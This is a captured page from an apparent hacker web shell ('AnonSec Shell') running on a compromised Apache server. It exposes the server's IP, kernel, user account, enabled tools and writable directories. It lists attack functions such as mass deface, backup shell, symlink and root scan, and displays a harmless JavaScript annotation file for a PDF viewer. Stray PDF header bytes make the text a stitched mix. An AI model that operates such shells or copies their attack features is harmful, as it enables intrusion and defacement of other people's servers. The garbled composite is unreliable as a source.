%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/www/pdfjs/samples/annotation/custom-annotations/triangle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/www/pdfjs/samples/annotation/custom-annotations/triangle/triangle-selection-model.js
(function(exports) {
  function TriangleSelectionModelFactory(Annotations, Math) {
    class TriangleSelectionModel extends Annotations.SelectionModel {
      constructor(annotation, canModify) {
        super(annotation, canModify);
        if (canModify) {
          const TriangleControlHandle = exports.TriangleControlHandleFactory.initialize(Annotations, Math);
          const controlHandles = this.getControlHandles();
          // pass the vertex index to each control handle
          controlHandles.push(new TriangleControlHandle(annotation, 0));
          controlHandles.push(new TriangleControlHandle(annotation, 1));
          controlHandles.push(new TriangleControlHandle(annotation, 2));
        }
      }
      // ...
      // changes how we draw the selection outline
      drawSelectionOutline(ctx, annotation, zoom) {
        // adjust for zoom
        if (typeof zoom !== 'undefined') {
          ctx.lineWidth = Annotations.SelectionModel.selectionOutlineThickness / zoom;
        } else {
          ctx.lineWidth = Annotations.SelectionModel.selectionOutlineThickness;
        }

        // changes the selection outline color if the user doesn't have permission to modify this annotation
        if (this.canModify()) {
          ctx.strokeStyle = Annotations.SelectionModel.defaultSelectionOutlineColor.toString();
        } else {
          ctx.strokeStyle = Annotations.SelectionModel.defaultNoPermissionSelectionOutlineColor.toString();
        }

        ctx.beginPath();
        ctx.moveTo(annotation.vertices[0].x, annotation.vertices[0].y);
        ctx.lineTo(annotation.vertices[1].x, annotation.vertices[1].y);
        ctx.lineTo(annotation.vertices[2].x, annotation.vertices[2].y);
        ctx.closePath();
        ctx.stroke();

        // draw a dashed line around the triangle
        const dashUnit = Annotations.SelectionModel.selectionOutlineDashSize / zoom;
        const sequence = [dashUnit, dashUnit];
        ctx.setLineDash(sequence);
        ctx.strokeStyle = 'rgb(255, 255, 255)';
        ctx.stroke();
      }
      // change the selection testing to match the shape of the triangle
      testSelection(annotation, x, y, pageMatrix) {
        // the canvas visibility test will only select the annotation
        // if a user clicks exactly on it as opposed to the rectangular bounding box
        return Annotations.SelectionAlgorithm.canvasVisibilityTest(annotation, x, y, pageMatrix);
      }
    }
    return TriangleSelectionModel;
  }

  exports.TriangleSelectionModelFactory = {
    initialize: TriangleSelectionModelFactory,
  };
})(window);

Anon7 - 2022
AnonSec Team